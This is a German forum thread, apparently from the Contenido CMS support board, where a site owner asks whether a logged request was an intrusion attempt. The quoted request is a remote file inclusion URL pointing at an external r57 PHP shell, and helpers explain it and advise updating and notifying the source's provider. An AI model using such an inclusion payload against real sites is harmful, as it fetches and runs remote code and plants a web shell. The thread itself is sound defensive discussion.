Das ist der Aufruf:
/contenido/external/frontend/contac.php?page[path][includes]=http://www.domainnichtvonmir.de/conteni ... r57rex.txt??
Ist auf einer alten 4.4.1 passiert.
Gruß MyAccount
Ist das ein Einbruchsversuch?
-
wosch
Re: Ist das ein Einbruchsversuch?
JA !!!MyAccount hat geschrieben:Das ist der Aufruf:
/contenido/external/frontend/contac.php?page[path][includes]=http://www.domainnichtvonmir.de/conteni ... r57rex.txt??
Ist auf einer alten 4.4.1 passiert.
Gruß MyAccount
Da wurde eine php-Shell installiert oder versucht zu installieren.
Gehe davon aus das die Installation funktioniert hat und du nun einen Untermieter auf deinem Webspace beherbergst.
Was kannst du machen?
Steht hier:
http://www.contenido.de/forum/viewtopic.php?p=102073
Und natürlich den Rat von @MichFress befolgen.
-
wosch
Danke Junges,
hehe mein Provider war so nett, dass sofort zu checken. Naja, es ist bei dem Versuch geblieben. Also die hatten definitiv KEINEN ERFOLG. Pfui. Saubande....
HTTP_USER_AGENT: libwww-perl/5.76
REMOTE_ADDR: 217.160.216.138
REMOTE_HOST: telemed-consult.de
Da kam es übrigens her.
Trotzdem vielen lieben Dank. Ich werde die Tage ein Update fahren.
hehe mein Provider war so nett, dass sofort zu checken. Naja, es ist bei dem Versuch geblieben. Also die hatten definitiv KEINEN ERFOLG. Pfui. Saubande....
HTTP_USER_AGENT: libwww-perl/5.76
REMOTE_ADDR: 217.160.216.138
REMOTE_HOST: telemed-consult.de
Da kam es übrigens her.
Trotzdem vielen lieben Dank. Ich werde die Tage ein Update fahren.
-
wosch
Du solltest den Provider von telemed-consult.de informieren.MyAccount hat geschrieben: REMOTE_HOST: telemed-consult.de
Denn wenn der Angriff von dort kam ist er in der Hand der Bande.
Und die werden dort alles mögliche anstellen und verschicken.
Dir wurde geholfen, nun helfe bitte dem Ahnungslosen.
Der Provider ist 2oder2 
Waren die nicht in der letzten Woche in den Schlagzeilen, weil bei denen massenhaft die Server gehakt wurden?!
Ich würde ja gerne so ehrenhaft sein, aber ich glaube dass man von denen nicht einmal jemanden erreicht, wenn man da Kunde ist, oder?! Ich werde mal versuchen den Eigentümer der Domain anzumailen.
Waren die nicht in der letzten Woche in den Schlagzeilen, weil bei denen massenhaft die Server gehakt wurden?!Ich würde ja gerne so ehrenhaft sein, aber ich glaube dass man von denen nicht einmal jemanden erreicht, wenn man da Kunde ist, oder?! Ich werde mal versuchen den Eigentümer der Domain anzumailen.